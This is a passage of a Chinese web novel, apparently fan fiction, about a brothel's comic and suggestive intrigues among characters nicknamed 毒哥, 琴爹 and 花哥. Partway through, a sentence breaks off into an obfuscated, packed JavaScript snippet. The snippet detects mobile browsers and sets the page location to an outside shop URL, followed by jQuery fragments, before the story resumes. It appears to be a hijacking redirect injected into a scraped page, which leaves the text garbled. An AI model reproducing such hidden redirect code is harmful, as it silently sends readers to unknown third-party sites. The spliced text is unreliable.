毒哥慌忙闪到一边,他只是觉得琴爹有趣,可没有做上位的觉悟。
他轻咳两声缓解尴尬,“不必,我只是路见不平。说来,你究竟怎么得罪那些人了,我见你也不反抗,又是何缘故?”
琴爹用数年如一的平静语气答道:“那是我得罪不起的人,若此番我逃了,之后要遭遇的危险岂不更加未知而难以防范?左不过只是卖身而已,天降此劫于我,若一味避之,恐遭大祸啊。”
说着,琴爹打量毒哥两眼,露出笑容,“况且某如今身无分文,有个屋檐遮风避雨三餐饱食,有三两银钱足够我保养我的琴,还能避免遭到更恐怖的报复,何乐而不为?”
“你究竟……得罪了什么人?”
琴爹苦笑道:“某曾是叶家一门客,他们家二少爷原本在藏剑修习武学,却因师门罹难而归家,对某产生了一些……好奇。”
毒哥了然,这怕不是产生了好奇,而是产生了好感。
“这二少爷早已定了亲事,叶老爷怎容他胡来,无奈某只好请辞离开。”琴爹说,“奈何二少爷竟离家出走了。叶老爷怕是将这罪过算在了我的头上……”
那怪不得一点也不反抗了。毒哥点点头,强权折人风骨,低头求存倒也没什么丢人的。
不过——
“这叶老爷也是不讲道理,倒是难为你了。”毒哥说,“你下一步打算怎么办?”
琴爹茫然地摇头,下意识抱紧了怀里的琴。
“要是叶老爷知道你被我赎出来,是否还会对你出手?”毒哥问。
琴爹没有回答。
毒哥叹气,“若你当真不在意生前身后名,不妨跟着我谋个营生。放心,你干这个,叶老爷绝不会找你麻烦。”
琴爹抬头,双目灼灼地看着他。
“一起站街吧。”
“……”你回应给毒哥的是长久的沉默。
许久后你方才开口:“难怪你们俩被称为双姝,真是花开并蒂两朵奇葩。”
“别把我跟那个算数怪相提并论。”毒哥哼哼唧唧地说,“那家伙当晚就技术问题和我探讨了一个通宵,甚至草拟了初版收费清单。”
说到此处,毒哥眼底浮现出淡淡的绝望,“说实话,我看到那张单子的瞬间,觉得他就是个算盘成精,但凡他站的时候拿出那玩意,必定一旦生意都接不到。”
实非如此。你在心里默默替毒哥补充。
“谁能想到那家伙居然这么受欢迎!”毒哥气愤地说。
那不然呢?你想,这花街柳巷几十年都出不了琴爹这款,涩鬼们排除万难也会扑上来的好么!
这厢你和毒哥聊得正欢,房间里又是哐啷啷一阵巨响。
你和毒哥不约而同一上一下凑了只眼睛到柜子缝,试图一线吃瓜。
只见那二少将身上带的银锭叮呤咣啷全倾倒在地,兔子样红着一双眼睛盯住琴爹,“这些够吗!不够……不够还有这些!”
说着,他又从怀中取出厚厚一沓银票,天女散花般洋洋洒洒抛出去。
琴爹隔着飞雪一样飘洒落地的银票和二少对视,平静得仿佛像个局外人。
二少被他置身事外的态度彻底激怒,三步并作两步上前去揪住琴爹的衣领,咬牙切齿道:“我看了你那单子,你可真便宜,这些够买你一辈子了吧?”
琴爹拂开二少的手,“二少爷此番离家,叶老爷可知其事?”
“我去哪与他何干!”二少怒吼道,“搞清楚!我现在用这些钱买你一晚,算得上你的客人,你对待客人就是这样的态度吗?”
琴爹低头看落了一地的银票,思忖片刻后,还是妥协于这泼天的富贵,叹息着同意了:“可以,但我不收银票,叶家眼线遍布,这钱我有命收,怕是没有命提。”
“那你要我怎么样?”
“我在这里等你一炷香,你去兑换成金锭,我不多收,只收你一锭金,今夜包你满意。”
二少上上下下打量琴爹几眼,这才将信将疑地捡起银票出去了。
出门前还不忘吩咐手下看好门,别让琴爹跑了。
琴爹在二楼隔着窗微笑地注视着二少的身影融入夜色,从榻上弹起飞快开了衣柜将你和毒哥放出来。
“我先走了!你们自己想办法。”琴爹一边说着,一边从衣柜里掏出黑色斗篷套在身上,抱着琴率先翻过窗,“南风楼见!”
毒哥点头,待琴爹跃下二楼往北去了,这才带着你翻窗往南走。
“难得见财帛也不动他心的时候。”毒哥啧啧称奇,“这两人之间绝对有隐情。”
“怕不是旧有私情,被家长棒打鸳鸯,小两口不得已天各一方。”仗着当事人不在,你开始随口胡沁。
“你还真别说!”毒哥咋舌,冲你竖起大拇指,“总结得真精辟!”
你和毒哥一路商业互捧,在他的带领下终于再次踏入了南风楼的地界。
琴爹跟你们几乎前后脚抵达,老板娘似乎并不在楼中,反倒是一满身书卷气的男子挽着一头如瀑黑发坐在堂前等你们。
“回来了。”他微笑着向你们打招呼,你却没来由觉得这笑容有些阴恻恻的,不禁打了个寒战。
“花哥……”小孔雀一样的毒哥在此男面前连屏也不开了,乖巧垂头道歉,“对不起嘛,让你操心了。”
琴爹也颔首致歉,“抱歉,实在是不得已才出去的,多谢你帮忙隐瞒。”
花哥浅笑道:“无妨,只愿你们别惹出什么乱子。既然回来了,那我便回屋撰书去了。”
直到花哥消失在二楼转角,你猛地松下一口气,戳了戳毒哥的胳膊,这才发现对方四肢也是一片冰凉,紧绷的肌肉也将将放松。
原来不是你一个人怕啊……你后知后觉地想到。
正当你打算向毒哥询问花哥的身份时,老板娘领着个怒气冲冲的少年走了进来。
“大晚上的都杵在这儿做什么?”
你刚要说些什么,那少年就如一支明黄色的利箭般将自己发射过来,直冲琴爹面门。
二少爷满眼怒火地在琴爹面前站定,揪住琴爹的衣领大声责问:“你居然又骗我!”
追、追来了!
你和毒哥对视一眼,深觉大事不妙,他反应迅速地扯了扯你的袖子,示意你跟上。
你冲着琴爹露出自求多福的眼神,转身跟着毒哥逃之夭夭。
琴爹看着你们离去的背影,徒劳地伸出手,又被二少一把攥住。
“怎么,你还想跟别的男人跑?”
二少的声音远远飘过来,你的头上迅速飞过一串
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16651899|188245||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
问号:怎么滴,我也是男的呗?
你跟着毒哥上了二楼,毒哥的房间是上楼第一间,就在你上次偷窥小唐和喵哥的房间旁边。跟着毒哥进去的时候,你甚至好奇地往那个房间看了一眼——
这样看来,空房间和喵哥的房间并不相邻,也不知那空房间又有何神异,居然可以做到隔空投放别的房间的事物。
毒哥似是察觉到了你的疑惑,微微一笑道:“你若想偷看,我带你进化影间也使得,但这样真的好吗?”
你讪笑掩饰尴尬,“说、说什么呢,那不是老板娘带我过去的么……”
“我又没说什么。”毒哥冲你飞了个娇媚的白眼,“我的意思是,那地方哪有我房里刺激。”
“???”虽然没明白毒哥是什么意思,但你的脸颊收到暗示的瞬间腾得红成一片,“这、这不好吧?”
你强装镇定地推拒。
“什么不好?”毒哥疑惑地歪歪头,“你能跟着她偷窥喵哥,却不能跟我一起偷窥琴爹吗?我还以为经过今晚,我们连衣柜都一起钻了,也算是朋友了。”
“那自然是……”你嘴角抽搐,最终选择沉默着跟毒哥进了屋。
推开这扇平平无奇的雕花木门,方知南风楼别有洞天。
入眼便是遍地奇花异草,馥郁扑面,脚下大小不一的青石板透着野趣,一路往花草繁茂的幽处延伸,直到尽头处一棵难以想象年岁的古树。
这株已经难以分辨树种的巨物高大得足以遮天蔽日,垂下的枝条粗壮,设以精巧的机关,用以连接地面和不同枝杈上建造的房间。可问题是,这仅仅是一扇门后面的一个房间而已,并无天地之分,进门前也难以想象这其中能有如此广阔的空间。
“我的天呐……”你忍不住发出惊叹。
“头发长见识短。”毒哥轻哼一声,带着你来到树冠处一座凉亭状的建筑。
你跟随着毒哥坐定,享受着对方准备的小吃凉茶,看着他披散着的长发,心说谁的头发更长还不一定呢!
“你看那边。”毒哥指了指东南方向。
你顺着毒哥手指的方向看去,只见琴爹被二少抱在怀中,出现在一片看不到尽头的桃林中。
已至盛夏时节,此方不知使了何种手段,竟能使桃花不败。
但你今日受到的刺激已经太多了,此时也有些麻木,只捡了重点问:“这就是你说的刺激?”
“对啊!”毒哥说,“琴爹的房间就在我的旁边,从这个位置看就是最佳观影点!”
闻言你不由得抛弃了仅剩的道德,“可这里有点远吧?”
“不远。”
毒哥话音刚落,远处的桃林突然拉近了距离,凉亭的姿态蓦然变化做一堆嶙峋乱石,将你和毒哥的身形遮挡住。
透过石堆的缝隙,桃花树下的那双纠缠的身影,简直连表情都清晰可见。
你的脸色一下变得古怪起来——
这视角和待在衣柜里简直一模一样,所以毒哥你当时钻衣柜……纯是个人爱好吧!
正这样想着,一片沾着墨香的一角落在身侧。
回头一看,不知何时手握纸笔的花哥出现在毒哥身边,目光灼灼地盯着不远处的二人,口中不断喃喃:“太好了,素材来了。太好了,素材……”